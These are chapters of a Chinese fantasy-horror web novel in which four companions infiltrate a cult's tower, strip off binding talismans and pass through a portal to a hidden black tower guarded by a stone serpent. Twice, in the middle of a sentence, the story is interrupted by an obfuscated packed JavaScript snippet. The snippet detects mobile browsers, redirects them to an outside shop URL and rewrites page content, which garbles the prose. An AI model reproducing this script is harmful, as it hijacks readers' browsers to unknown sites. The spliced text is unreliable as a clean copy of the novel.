“白砚?”烈风煌警惕地叫了他一声。 白砚睁开眼,眼神清澈,甚至有些……迷离。 “贴吧,”他说,声音轻快得不像他,“很舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109773|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。真的很舒服。” 烈风煌咬了咬牙,也将符纸贴在腰间。 同样的变化发生在她身上。她紧绷的肩膀放松下来,握刀的手也松了些,脸上那种随时准备战斗的警惕消失了,取而代之的是一种慵懒的、惬意的神情。 九如的心沉了下去。 他知道,这符纸有问题。 但看着三人都贴了,看着芒种信任的眼神,看着非宝似笑非笑的表情,他知道自己没有选择。 他闭上眼睛,将符纸贴在腰间。 那一刻,一股奇异的感觉涌来。 像是很渴的时候突然被清泉滋润,像是很累的时候突然躺在柔软的床榻上,像是很冷的时候突然被温暖的阳光包围。所有疲惫,所有焦虑,所有不安,都在瞬间消散,取而代之的是一种从未有过的、极致的舒适和放松。 他甚至想呻吟出声。 太轻松了。 轻松得让他想永远这样下去。 就在九如几乎要沉溺在这种感觉中时,腰间突然传来一阵刺痛。 是承影剑的印记。 青色的剑印突然发烫,像烧红的烙铁,狠狠烫在他的皮肤上。剧痛瞬间冲散了那种舒适感,让他猛地清醒过来。 他睁开眼睛,看到非宝正盯着他,银灰色的眼睛里闪过一丝诧异,随即又恢复了那种天真无邪的笑容。 “好了,”非宝拍了拍手,“现在你们是圆合楼的一员了。欢迎欢迎!” 话音刚落,走廊深处突然涌出一群人。 不是走出来的,而是“涌”出来的——像潮水一样,从各个角落,各个方向,无声无息地出现,眨眼间就将四人团团围住。 他们都穿着灰色的长袍,将衣摆扎在腰间,露出下面黑色的裤子。他们的脸上都带着热情的笑容,眼睛弯成月牙,嘴角上扬到相同的弧度,连露出的牙齿数量都一模一样。 “欢迎!欢迎新来的家人!” “欢迎来到圆合楼!” “欢迎加入我们!” 他们七嘴八舌地说着欢迎的话,声音重叠在一起,形成一种奇异的和声,听起来既热闹又诡异。 然后,他们簇拥着四人,向走廊深处走去。 九如被推着往前走,想回头看看白砚和烈风煌,却发现他们已经被人群隔开,只能看到两个模糊的身影在人群中晃动。 他握紧拳头,腰间的剑印还在隐隐发烫,提醒着他保持清醒。 走廊尽头,是一扇巨大的门。 门是金色的,上面雕刻着繁复的花纹,花纹中央,依旧是那个眼睛图案。 门缓缓打开。 里面是一个宽敞得令人窒息的大厅。 大厅呈圆形,直径至少有五十丈,高也有十丈以上。穹顶是透明的,能看到外面的天空——但天空是黑色的,不是夜晚的黑,而是一种深沉的、不透光的黑,像是涂满了墨汁。 穹顶下方,悬挂着无数盏灯笼。灯笼是红色的,里面燃烧着幽蓝色的火焰,将整个大厅映照得一片蓝红交错,光影摇曳,宛如鬼域。 大厅中央,是一个巨大的圆形平台。平台高出地面三尺,边缘镶嵌着发光的宝石,宝石按照某种规律排列,闪烁着不同颜色的光芒。 平台上,摆放着一张巨大的座椅。 座椅是用黑色的木材雕刻而成,扶手是两条盘绕的蟒蛇,蛇头昂起,眼睛镶嵌着红色的宝石,在幽光下闪烁着妖异的光芒。 座椅上,坐着一个人。 一个身穿黑色貂毛大衣的大汉。 貂毛油光水滑,每一根毛都在灯光下闪着乌黑的光泽。大衣敞开,露出里面精壮的胸膛,胸膛上纹着一个巨大的眼睛图案——和旗帜上、门上、符纸上的图案一模一样。 大汉的头发是银白色的,披散在肩上,发梢微微卷曲。他的脸很方,棱角分明,下巴上留着短硬的胡茬。最引人注目的是他的眼睛——那双眼睛很大,眼白很少,瞳孔是深不见底的黑色,盯着人看的时候,像是两个黑洞,能将人的灵魂吸进去。 此刻,他正端着一个碗。 碗是黑色的陶碗,碗口很大,里面盛满了某种深红色的液体,在灯光下泛着暗沉的光泽。 他看到非宝带着四人进来,举起手中的碗,声音洪亮如钟: “今天是个好日子!我们非宝又领了外人进来!” 大厅里瞬间安静下来。 所有人都停下动作,停下话语,齐刷刷地转过头,看向门口。他们的脸上依旧带着笑容,但眼神空洞,像是在等待下一步指令。 大汉继续道:“来,我们欢迎新来的人!” 他嘴角挂着笑意,但那笑意没有达到眼底。那双黑洞般的眼睛里,只有冰冷,只有审视,只有一种居高临下的、掌控一切的气势。 九如的心脏猛地一跳。 这个大汉,就是非宝口中的“汉主”。 圆合楼的主人。 黑塔之主的代言人。 汉主将碗举到嘴边,一饮而尽。深红色的液体顺着他的嘴角流下,在黑色的貂毛上留下一道暗沉的痕迹。 他放下碗,目光落在四人身上。 那目光如有实质,扫过九如的红袍,白砚的白发,烈风煌的弯刀,最后停在芒种蒙眼的黑布上。 “远道而来的客人,”汉主开口,声音低沉而富有磁性,“欢迎来到圆合楼。我是这里的主人,你们可以叫我汉主。” 他顿了顿,补充道:“当然,如果你们愿意留下,成为我们的一员,也可以叫我……父上。” 父上。 这个词让九如后背发凉。 白砚悄悄给九如递了个眼神,嘴唇微动,无声地问:“要喝?” 他指的是汉主手中的碗——已经有侍者端着托盘走上来,托盘上是四个一模一样的黑色陶碗,碗里盛着同样的深红色液体。 九如刚要摇头,非宝已经站了起来。 他走到托盘前,端起四个碗,仰头,一一饮尽。 动作流畅得像是演练过千百遍。 然后,他将碗倒转,碗口朝下,示意一滴不剩。 “汉主,”非宝转过身,面对汉主,声音清脆而坚定,“他们不是客人,是我的朋友。他们只是来向黑塔之主许愿的,不会久留。” 大厅里的气氛瞬间凝固。 所有人的笑容都僵在脸上,眼神齐刷刷地看向汉主,等待他的反应。 汉主脸上的笑意消失了。 他盯着非宝,那双黑洞般的眼睛眯了起来,里面闪烁着危险的光芒。 “哦?”他的声音冷了下来,“我怎么不知道,你又这么多朋友?” 非宝毫不畏惧地迎上他的目光。 “我是人,”他一字一句地说,“人都会有朋友。” 两人对视。 空气仿佛凝固了,连灯笼里的火焰都停止了跳动。大厅里静得可怕,只能听到众人压抑的呼吸声,和心跳声——诡异的是,所有人的心跳声都同步,形成一种沉闷的、令人心悸的节奏。 许久。 汉主突然笑出声。 不是之前的假笑,而是一种发自内心的、畅快的大笑。笑声在大厅里回荡,震得灯笼摇晃,火焰摇曳。 “好啊!”他拍着座椅的扶手,声音洪亮,“非宝长大了,有自己的朋友了!” 他站起身,黑色貂毛大衣随着动作扬起,像一只展翅的巨鸟。 “来!”他举起手,“我们庆祝!恭喜他——恭喜非宝,终于有了真正的朋友!” 话音落下,大厅里瞬间沸腾。 不是自然的沸腾,而像是按下了某个开关——所有人的表情同时变得狂热,同时举起手,同时欢呼,同时挤出生硬的笑容,同时说出恭维的话。 “恭喜非宝!” “非宝真厉害!” “欢迎新朋友!” 声音重叠在一起,形成一片嘈杂的声浪,震得人耳膜发痛。 但九如看着眼前这一幕,看着那些动作一致、表情一致、声音一致的人们,后背竖起一层冷汗。 太没有活人感了。 这些人,不像是活人。 九如下意识摸向腰间的符纸,却发现符纸已经消失了——不是脱落,而是融入了他的身体,只在皮肤上留下一个淡淡的黑白印记,像胎记,又像烙印。 他抬起头,看向大厅中央的汉主。 汉主也正看着他,嘴角挂着笑意,黑洞般的眼睛里,闪过一丝戏谑的光芒。 像是在说: 欢迎来到圆合楼。 欢迎来到……你的新家。 9. 圆合诡楼祭活城(二) 非宝领着四人穿过圆合楼迷宫般的走廊。 楼内比外面看起来更加复杂。走廊不是笔直的,而是曲折回环,时而上坡,时而下阶,有时甚至会在同一个地方绕上三圈,才找到正确的出口。墙壁上挂满了灯笼,灯笼里燃烧着幽蓝色的火焰,将所有人的影子投在墙上,拉得又细又长,像一群扭曲的鬼魂在跳舞。 九如紧紧跟在非宝身后,腰间的承影剑印隐隐发烫,提醒着他保持清醒。他偷偷观察着周围的环境——每一扇门,每一扇窗,甚至每一块地砖,都刻着那个诡异的眼睛图案。图案的眼睛部分用的是红色的颜料,在幽蓝的光线下,像是无数只眼睛在黑暗中窥视。 走了约莫一刻钟,非宝停在一扇门前。 这扇门和其他门没什么不同——黑色的木门,银色的门环,门上的眼睛图案。但非宝没有直接推门,而是伸手在门环上按了特定的顺序:左三下,右两下,再同时按下。 “咔哒”一声轻响,门无声滑开。 里面是一个房间。 不,准确地说,是两个房间——分上下层。下层是客厅,摆放着一张圆桌,四把椅子,桌上有茶壶和茶杯。上层是卧室,有简单的床铺和衣柜。房间不大,但整洁干净,甚至可以说……过于干净了。 干净得像从来没人住过。 非宝指着房间,对两个姑娘说:“你们二位住隔壁吧,我已经让人收拾好了。” 他又指了指门口:“那里挂有铃铛,如果需要什么,直接摇响就好,会有人来伺候。” 芒种怯生生地问:“那……那你们呢?” “我和九如、白砚住这间。”非宝自然地回答,“上下层,刚好够睡。” 他顿了顿,补充道:“你们暂且先安歇,日落三息后,我再来带你们去黑塔。” “日落三息?”九如皱眉,“为什么要等那么久?” 非宝转过头,银灰色的眼睛在幽光下显得有些神秘:“因为黑塔只在日落三息后开启。那是阴阳交替的时刻,也是黑塔之主最愿意聆听愿望的时刻。” 他说得合情合理,但九如心里那股不安感越来越强烈。 “你就这么简单带我们去你们的……神圣之地?”他试探着问。 非宝莫名其妙地看他:“什么你们我们,我们是一家人。既然是家人,那这里没有什么是你们不能去的。” 他又露出了那种天真无邪的笑容,嘴角上扬,眼睛弯成月牙,整个人看起来纯净又真诚。 但不知为何,这笑容让九如背后发凉。 因为他突然发现,非宝的笑容和楼下那些“家人”的笑容,有某种相似之处——不是五官的相似,而是那种……完美的、标准的、像是用尺子量出来的弧度。 太一致了。 一致得不自然。 “好了,你们先休息吧。”非宝挥挥手,“日落前别出门,楼里有些地方……不太安全。” 说完,他转身离开,门无声地关上。 房间里陷入寂静。 九如和白砚对视一眼,都没有说话。他们走到桌边坐下,倒了两杯茶——茶是凉的,但茶香清雅,像是某种名贵的山茶。 九如端起茶杯,却没有喝。他用手指蘸了点茶水,在桌上写了一个字: 等。 白砚点头。 两人就这样静静地坐着,像是真的在休息。但他们的耳朵竖得笔直,捕捉着门外的一切声音——脚步声,说话声,甚至呼吸声。 约莫过了半个时辰,门外传来轻微的响动。 是铃铛的声音。 隔壁的铃铛响了——有人在召唤侍者。 然后是脚步声,很轻,但很整齐,像是两个人,不,三个人,四个人……很多人的脚步声,整齐划一地向隔壁走去。 接着是敲门声,开门声,然后是侍者温柔的声音:“客人有什么需要?” 芒种怯生生的声音传来:“我……我想问问,这里有没有热水……” “有的,马上为您准备。” 脚步声远去,又回来。然后是倒水的声音,关门的声音。 一切听起来都很正常。 但九如和白砚的心却沉了下去。 因为他们听到了——在那些正常的声响中,夹杂着一些不正常的、细微的声音。 像是……金属摩擦的声音。 像是……锁链拖动的声音。 像是……某种沉重的、湿漉漉的东西,在地板上拖行的声音。 那些声音很轻,几乎被正常的声响掩盖,但九如和白砚都听到了。 他们对视一眼,都在对方眼中看到了相同的判断: 这地方,果然有问题。 又过了约莫半个时辰,门外彻底安静下来。 九如站起身,走到门边,耳朵贴在门上,仔细听了听。 没有任何声音。 连呼吸声都没有。 他深吸一口气,转身看向白砚,点了点头。 是时候了。 他走到白砚身边,蹲下身,伸出手,轻轻按在白砚腰间的符纸上。 那张黑白分明的符纸,此时已经完全融入了白砚的衣服,只在表面留下一个淡淡的印记。但九如的手指触碰到印记的瞬间,承影剑印突然剧烈发烫,一股灼热的力量顺着手臂涌向指尖。 他用力一撕—— “刺啦”一声轻响。 符纸被撕了下来。 不是从衣服上撕下来,而是从白砚的身体里撕出来——符纸的边缘渗出了淡淡的血丝,像是长在了皮肉里。撕下的瞬间,白砚浑身一震,脸色瞬间变得惨白,额头渗出细密的冷汗。 他张开嘴,刚要发出一声痛呼,九如已经捂住了他的嘴巴。 “嘘——”九如将撕下的符纸举到白砚眼前。 符纸在他手中微微颤动,黑白的交界处,朱砂符文闪烁着妖异的光芒。更诡异的是,符纸的边缘,那些血丝正在迅速消失,像是被符纸吸收了。 白砚瞪大了眼睛,看着那张符纸,又看向九如。 九如指了指隔壁,又指了指自己的耳朵,做了一个“听”的手势。 白砚立刻明白了。 他深吸几口气,平复了呼吸,然后站起身,走到墙边。墙壁是木质的,很薄,能隐约听到隔壁的声音——是烈风煌和芒种平稳的呼吸声,她们似乎睡着了。 白砚回头看向九如,用口型问:“现在?” 九如点头。 两人悄无声息地打开门——门没有上锁,轻轻一推就开了。 走廊里空无一人。 幽蓝色的灯笼在墙壁上摇曳,将两人的影子投在地上,拉得很长。走廊两侧的门都紧闭着,门上那些眼睛图案在光影中明暗不定,像是真的在眨动。 九如做了一个手势:分头行动。 白砚点头,转身向隔壁走去。他的动作轻盈如猫,脚步落地无声,几个呼吸间就来到了隔壁门前。 门也没有上锁。 白砚轻轻推开门,闪身进去。 房间里,烈风煌和芒种果然睡着了——或者说,看起来像是睡着了。她们躺在床上,呼吸平稳,表情安详,但脸色却异常苍白,像是失血过多。 更诡异的是,她们腰间的那两张符纸,此刻正散发着淡淡的红光。红光顺着符纸的边缘蔓延,像蛛网一样爬满了她们的身体,在皮肤下形成一道道红色的纹路。 那些纹路,和符纸上的朱砂符文一模一样。 白砚的心沉了下去。 他没有犹豫,快步走到床边,伸出手,按在烈风煌腰间的符纸上。 同样地,承影剑的力量涌向指尖——虽然他没有承影剑,但九如刚才撕符纸时,将一部分剑意留在了他体内。 用力一撕。 “刺啦——” 符纸被撕下,带出一片血丝。烈风煌闷哼一声,猛地睁开眼睛,瞳孔涣散了一瞬,然后迅速聚焦。 她看到白砚,张嘴要说话,白砚已经捂住了她的嘴,另一只手将撕下的符纸举到她眼前。 烈风煌看着那张符纸,又摸了摸自己腰间——那里有一个淡淡的、正在渗血的伤口。她的脸色变了,眼中闪过杀意。 白砚松开手,指了指芒种。 烈风煌点头,两人一起动手,撕下了芒种身上的符纸。 芒种的反应比烈风煌更大。她惨叫一声——虽然声音被烈风煌及时捂住——整个人蜷缩起来,浑身剧烈颤抖,眼泪哗啦啦地流。 “痛……好痛……”她喃喃道,声音里带着哭腔。 烈风煌抱住她,低声安慰:“没事了,没事了……” 白砚站在一旁,警惕地听着门外的动静。 还好,没有人被惊动。 等芒种稍微平静下来,烈风煌才放开她,低声问白砚:“九如呢?” “在等我们。”白砚说,“走,上楼顶。” 三人悄无声息地离开房间,来到走廊。九如已经等在那里,看到他们出来,点了点头,指了指天花板。 楼顶。 这是他们白天就商量好的计划——如果发现不对劲,立刻脱掉伪装,上到楼顶,那里视野开阔,便于观察,也便于逃跑。 四人沿着楼梯向上爬。 楼梯是螺旋状的,一圈一圈向上,像是永远没有尽头。墙壁上依旧是那些幽蓝色的灯笼,但越往上,灯笼越少,光线越暗。 爬了约莫百级台阶,终于看到了出口——一扇小门,门上没有眼睛图案,只有一个简单的门闩。 九如轻轻拉开门闩,推开门。 夜风扑面而来。 楼顶很空旷,是一个圆形的平台,直径约莫二十丈。平台边缘没有栏杆,只有一圈矮墙,墙高只到膝盖,一不小心就会掉下去。 九如走到平台边缘,向下望去。 圆合楼的全貌展现在眼前——那是一个巨大的黑色圆环,一圈套一圈,层层叠叠,像是一个巨大的漩涡。楼里灯火通明,幽蓝色的光芒从无数扇窗户中透出,将整座建筑映照得如同鬼域。 而在圆合楼的正中央,本该是那座黑塔的位置—— 空空如也。 什么也没有。 没有塔,没有建筑,甚至没有地面——那里是一片深不见底的黑暗,像是被挖走了一块,露出了夜空的本体。 九如愣住了。 “怎么回事?”烈风煌走过来,也看到了那片空洞,“塔呢?白天明明还在的。” 白砚环顾四周,眉头紧锁:“难道我们猜错了?塔不在这里?” 芒种怯生生地说:“会不会……会不会塔是幻象?白天我们看到的是假的?” 九如摇头:“不可能。我感受到了塔的灵力波动——虽然很微弱,但确实存在。那是真实的建筑,不是幻象。” 他顿了顿,补充道:“而且,非宝说过,塔在日落三息后开启。也许……塔不是消失了,而是隐藏起来了。只有在特定的时间,才会出现。” 烈风煌有些担忧:“我们还没摸清楚这里的情况,就擅自脱掉伪装,会不会太急了点?万一被发现了……” “谁是猎物还不说不准。”九如打断她,手脚麻利地开始检查楼顶的每一寸地面,“那汉王不是好糊弄的,速战速决吧。我总觉得多留生事端。” 他说着,蹲下身,用手指触摸地面。地面是黑色的石材,触手冰凉,上面刻着细密的纹路——不是眼睛图案,而是一种更古老、更复杂的符文。 白砚也加入进来,两人分头检查,不放过任何蛛丝马迹。 芒种和烈风煌则负责望风,警惕地盯着楼梯口和周围的天空。 时间一分一秒过去。 楼顶的风很大,吹得四人衣袂猎猎作响。夜空是深紫色的,没有月亮,没有星星,只有一片沉沉的、不透光的黑暗。远处的昆丘山隐没在夜色中,只能看到模糊的轮廓,像一头匍匐的巨兽。 突然,九如的手停住了。 他摸到了一块不一样的地砖。 其他地砖都是冰凉的,但这一块,是温的。而且,这块地砖上的符文和其他地砖不一样——不是刻上去的,而是用某种荧光材料画上去的,在黑暗中散发着微弱的绿光。 “找到了。”九如低声说。 白砚和烈风煌立刻围过来。 九如用力按下那块地砖。 “咔哒——” 地砖下沉了三寸,然后,整块楼顶开始震动。 不是剧烈的震动,而是轻微的、有规律的震动,像是某种巨大的机关正在启动。震动持续了约莫十息,然后停止。 而那块地砖,缓缓向一侧滑开,露出下面的景象—— 不是楼梯,不是密道。 而是一个深井。 井口直径约莫三尺,井壁光滑,向下延伸,深不见底。井口边缘,刻着一圈细密的符文,符文散发着幽蓝色的光芒,和圆合楼里的灯笼光芒一模一样。 更诡异的是,井口处,有风吹上来。 不是自然的风,而是冰冷的、带着腥气的风,像是从地底深处吹来,夹杂着某种腐烂的气息。 “这是什么?”烈风煌皱眉。 九如探头向井里看去,但什么都看不到,只有一片深不见底的黑暗。 他想了想,从怀中掏出一枚铜钱——那是他在沙漠里捡到的,不知道是哪一世留下的东西。他将铜钱丢进井里。 铜钱下落,发出清脆的撞击声,声音在井壁间回荡,越来越远,越来越弱…… 最后,消失了。 没有落地的声音。 这口井,深得可怕。 “难道黑塔在下面?”白砚猜测。 九如摇头:“不对。塔那么高,如果在地下,我们应该能看到塔顶。但这下面什么都没有。” 他站起身,环顾四周:“我们先把整个楼顶都搜一遍,看看还有没有其他线索。” 四人分头行动,将楼顶的每一寸地面都仔细检查了一遍。 但除了那口井,再也没有其他发现。 半个时辰后,四人重新聚在一起。 “奇怪,”九如眉头紧锁,“明明白天还能看到那座塔,怎么现在一点踪迹都没有。就算塔会隐藏,也不可能隐藏得这么干净,连一丝灵力波动都没有。” 烈风煌想了想:“会不会另有入口?通道在另一个方向?” “他们从不外出。”白砚说,“整个昆丘山,只有圆合楼这一栋建筑有灵力波动。就算有别的出口,不能一点灵力痕迹都没有啊。” 他顿了顿,补充道:“除非……除非塔根本就不在这里。或者说,塔在,但不在这个‘空间’里。” 空间? 九如心中一动。 他想起了乌禾的记忆——天柱,结界,镇压…… 难道黑塔也和天柱一样,被某种结界隐藏起来了?藏在另一个空间里? 如果是这样,那他们找不到塔,就说得通了。 但问题来了:如果塔在另一个空间,非宝要怎么带他们去?那个空间的人口在哪里? 就在这时,背后传来一个声音: “你们干嘛呢?” 声音清脆,带着一丝戏谑。 四人浑身一震,猛地转身。 就见非宝站在他们身后不远处,穿着一身墨绿色的长袍,外面罩着白色的纱衣。月光——不,不是月光,楼顶根本没有月光——是圆合楼里透上来的幽蓝光芒,照在他身上,将他的脸映得一片惨白。 他站在那里,不知道站了多久。 脸上没有任何表情,银灰色的眼睛在幽光下显得格外深邃,像是两汪深潭,深不见底。 “要去黑塔,为什么不老实在房间等我?”他问,语气没有任何起伏,像是在陈述一个事实,而不是质问。 九如的心脏狂跳。 他下意识将众人挡在身后,手背在身后,做了一个手势—— 把符纸贴上。 烈风煌和白砚立刻会意,从怀中掏出之前撕下的符纸——虽然已经撕下,但他们没有扔掉。他们假装整理衣服,将符纸重新贴在腰间。 芒种也照做了。 非宝看着他们的动作,嘴角勾起一个微妙的弧度,像是看穿了什么,又像是根本不在意。 九如强迫自己冷静下来,直视非宝的眼睛:“我怎么知道你半夜会不会将我们丢进什么陷阱里。” 非宝眉毛高高吊起,表情夸张:“你就这么看我?我非宝是那种人?” “我对你又不了解,”九如说,“我怎么知道你是不是?” 非宝盯着他看了几秒,然后突然笑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109774|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那笑容很灿烂,很真诚,但看在九如眼里,却有种说不出的诡异。 因为非宝笑的时候,嘴角上扬的弧度,眼睛弯起的角度,甚至连睫毛颤动的频率,都完美得像用尺子量过。 太标准了。 标准得不像是人类。 “好好好,”非宝拍了拍手,“那我就让你看看,我是什么人。” 说完,他抬起手,食指和中指并拢,在空中划了一个复杂的图案。 图案是那个眼睛——黑塔之主的眼睛。 图案完成的瞬间,非宝指尖亮起一点金光。金光迅速扩大,化作一枚金色的烟花,冲天而起,在夜空中炸开。 “砰——” 烟花绽放,化作无数金色的光点,像雨一样洒落。 九如瞳孔一缩,手腕一动,承影剑已经出鞘。 青光暴涨,剑气激荡,在四人周围形成一道屏障,将那些金色光点隔绝在外。 但非宝没有攻击。 他只是站在原地,看着九如,眼中闪过一丝……赞赏? “反应挺快。”他说,“不过,没必要。” 话音落下,那些金色光点并没有攻击,而是缓缓下落,落在地面上,落在那口井的井口边缘。 然后,异变发生了。 井口边缘的那些符文,突然亮了起来。 不是幽蓝色的光,而是金色的光——和非宝的烟花一样的金色。金光从井口边缘开始,向四周蔓延,沿着楼顶地面上的纹路,迅速扩散。 眨眼间,整个楼顶的地面,都被金色的纹路覆盖。 那些纹路交织在一起,形成一个巨大的、复杂的法阵。法阵中央,正是那口井。 而井口,开始变化。 原本三尺直径的井口,开始扩大,一圈一圈,像是水面上的涟漪。井口边缘的金光越来越亮,最后化作一个圆形的、金色的门户。 门户中央,是一片深不见底的黑暗。 但在黑暗深处,隐约能看到一点景象—— 一座塔。 黑色的塔。 高耸入云,通体漆黑,表面光滑如镜,反射着金色的光芒。塔身周围,环绕着七层圆环建筑,和圆合楼一模一样,但更加宏伟,更加古老,更加……真实。 那是黑塔。 真正的黑塔。 九如震惊地瞪大了眼睛。 这不是普通的隐藏,也不是普通的结界。 这是—— “境中境。”白砚喃喃道,声音里带着难以置信。 烈风煌也倒吸一口凉气:“高阶秘法……能打通两个境的通道。怪不得我们遍寻不得,原来黑塔藏在这个昆山境中的另一个境里。” 芒种紧紧抓住烈风煌的手臂,脸色苍白:“那、那我们现在……” 非宝冲九如翻了个白眼,那表情又恢复了之前的灵动和鲜活,仿佛刚才那个面无表情的人不是他。 “没见过世面还怀疑我呢。”他哼了一声,转身,轻松一跳,就跳进了那个金色的门户,消失在黑暗之中。 九如愣在原地。 他看着那个门户,看着门户深处隐约可见的黑塔,心中天人交战。 进去,还是不进? 进去,可能是个陷阱。 不进去,可能永远找不到答案。 就在他犹豫的时候,感觉肩膀被一只手轻轻拍了拍。 他立刻反手一剑,剑尖倒插,直刺身后—— 却被另一只手牢牢抓住。 “是我!”白砚低声道。 九如转头,看到白砚站在他身后,眼神清明,腰间根本没有符纸——刚才贴符纸的动作,只是做给非宝看的。 “你没贴?”九如低声问。 白砚摇头,指了指那个门户,用口型说:跟上。 九如知道他不放心自己一个人进去。他看向烈风煌和芒种——两人也已经撕掉了符纸,正警惕地看着四周。 “一起进去?”九如问。 白砚点头。 九如咬了咬牙,从怀中掏出一根绳子——那是他从沙漠里带来的,用某种野兽的筋制成,坚韧无比。他将绳子分别绑在烈风煌和芒种的腰间,另一端绑在自己和白砚手腕上。 这样,就算在里面失散,也能找到彼此。 他做完这一切,不放心地看了眼白砚。 白砚冲他比了个大拇指,用口型说:放心。 九如深吸一口气,转身,纵身一跃,跳进了那个金色的门户。 那一瞬间,像是被蒙头罩了块黑布。 不是黑暗——黑暗还能看到一些轮廓,一些光影。这是绝对的、彻底的、连光都不存在的虚无。 听觉消失了,触觉消失了,甚至对自己的身体的感觉都消失了。像是在无尽的虚空中坠落,没有方向,没有时间,没有尽头。 不知道过了多久——也许是一瞬,也许是一万年——光明重新出现。 不是逐渐出现,而是骤然炸开,像有人突然拉开了窗帘,阳光瞬间充满整个世界。 九如摔在地上。 不是柔软的草地,也不是坚硬的地面,而是一种……温热的、有弹性的、像是某种活物的表面。 他睁开眼睛,看清了周围的景象。 他躺在一片黑色的“地面”上——之所以打引号,是因为这地面会微微起伏,像是呼吸。地面是纯黑色的,表面光滑,泛着金属般的光泽,上面刻满了细密的符文,符文流淌着暗红色的光芒,像是血液在血管中流动。 而在他周围,是一座塔。 黑色的塔。 他抬起头,看到了塔身——不是从远处看,而是从极近处看,近到能看清塔身上每一道纹路,每一处细节。 塔身不是完全光滑的,上面刻着无数浮雕。浮雕不是神佛,不是祥瑞,而是……人。 无数的人。 男人,女人,老人,孩子。他们或站或坐,或哭或笑,或拥抱或厮杀。每一个人的表情都栩栩如生,眼睛都是那个诡异的眼睛图案,瞳孔部分镶嵌着红色的宝石,在暗红的光芒下闪烁着妖异的光。 更诡异的是,这些浮雕不是静止的。 它们在动。 虽然动作很慢,慢到几乎察觉不到,但确实在动——那个哭泣的女人,眼泪真的在滑落;那个厮杀的男人,手中的刀真的在挥动;那个拥抱的情侣,手臂真的在收紧…… 就像……这些浮雕里封印着真正的灵魂。 九如浑身发冷。 他挣扎着站起来,环顾四周。 烈风煌和芒种躺在他不远处,两人也刚刚醒来,正茫然地看着周围。她们身下的“地面”也在微微起伏,像是有生命一样。 “你们没事吧?”九如走过去,扶起她们。 烈风煌摇头,脸色苍白:“这是……什么地方?” 芒种紧紧抓着九如的手臂,声音发抖:“塔……塔里面?” 九如这才意识到,他们不是在塔外,而是在塔内——或者说,在塔的“内部空间”里。 因为周围没有墙壁,没有天花板,只有无尽的黑色“地面”和高耸的塔身。天空是暗红色的,没有太阳,没有云,只有一片沉沉的、像是凝固的血一样的颜色。 空气中弥漫着一股甜腻的血腥味,夹杂着腐烂和硫磺的气息,让人作呕。 就在这时,耳边传来熟悉的声音: “哎呀,你怎么把她们都带过来了?说不信我,又把同伴全带到未知地方。啧啧啧,想和我交心直说嘛,我又不讨厌你。” 九如猛地转身。 非宝站在他身后不远处,依旧是那身墨绿长袍白色纱衣,脸上带着戏谑的笑容。他双手抱胸,歪着头看着九如,银灰色的眼睛里闪烁着狡黠的光芒。 九如下意识挡在烈风煌和芒种面前,仔细检查她们两人——还好,虽然脸色苍白,但身上没有任何伤口,神志也清醒。 非宝笑了笑,那笑容天真无邪:“你是不是忘记了一个人?” 九如一怔。 白砚。 他刚要回头去找,背后被人轻轻一拍。 白砚出现在他身后,脸上没有任何表情,眼睛却死死盯着非宝,声音冰冷: “你既然要帮,不如帮到底。告诉我们,如何打破黑塔。” 10. 镇魂石蛇双生迷 非宝连一丝犹豫都没有,直接应了:“可以。” 他的声音轻松得像是答应借出一本书,而不是毁掉一座神塔。话音落下,他抬起右手,拇指和中指轻轻一扣—— “啪。” 清脆的响指声在空旷的塔内空间回荡,竟比雷霆还要响亮。 下一秒,轰隆隆的声音从天而降。 不,不是从天而降——这诡异的塔内空间根本没有天。声音是从四面八方涌来的,像是整座黑塔都在震动,都在怒吼。暗红色的“天空”开始扭曲,像被一只无形的大手搅动,泛起层层涟漪。 然后,石头开始落下。 不是零星的碎石,也不是随机的落石,而是有规律地、有序地、像是被某种力量精确操控般,从四面八方向中央汇聚。 石头大小不一,形状各异,但颜色都是统一的深灰色,表面光滑,泛着金属般的光泽。它们在空气中悬浮,缓缓移动,一块接一块,彼此靠近、贴合、咬合,发出沉闷的撞击声。 咔、咔、咔…… 声音越来越密集,石头越聚越多。 渐渐地,一个轮廓开始显现。 先是头颅——巨大的三角头颅,两只空洞的眼眶,一张张开到极限、布满锯齿状石牙的巨口。然后是身躯——粗壮如殿柱,一环套一环,每一环都由数百块石头精密咬合而成。最后是尾巴——长而尖锐,末端如矛,在暗红的光芒下闪着寒光。 一条巨蛇。 完全由石头组成的巨蛇。 蛇身长达十丈,盘踞在塔内空间的中央,占据了小半空间。石头的缝隙间流淌着暗红色的光芒,像是血液在血管中流动,又像是岩浆在地壳下奔涌。 巨蛇缓缓抬起头,空洞的眼眶“望”向四人。虽然没有眼睛,但所有人都感觉到,它在“看”他们。 九如浑身剧震。 不是因为恐惧,不是因为震惊,而是因为……熟悉。 太熟悉了。 这条巨蛇,无数次出现在他的混沌临死之际。 那些破碎的、模糊的、散落在无数次重生中的记忆碎片,此刻如同被一根线串联起来,清晰地浮现在脑海—— 冰冷的石室,弥漫的血腥味,身体一点点失去温度。意识即将消散的刹那,总会有脚步声传来。 不是人的脚步声,而是石头摩擦地面的声音。 沉闷,沉重,缓慢。 然后,一条巨大的石蛇从黑暗中游出,游到他面前,停下。蛇身上站着一个人,长身玉立,白衣胜雪,面容模糊不清,只有那双眼睛…… 那双金色的眼睛。 在黑暗中燃烧,像不灭的火焰。 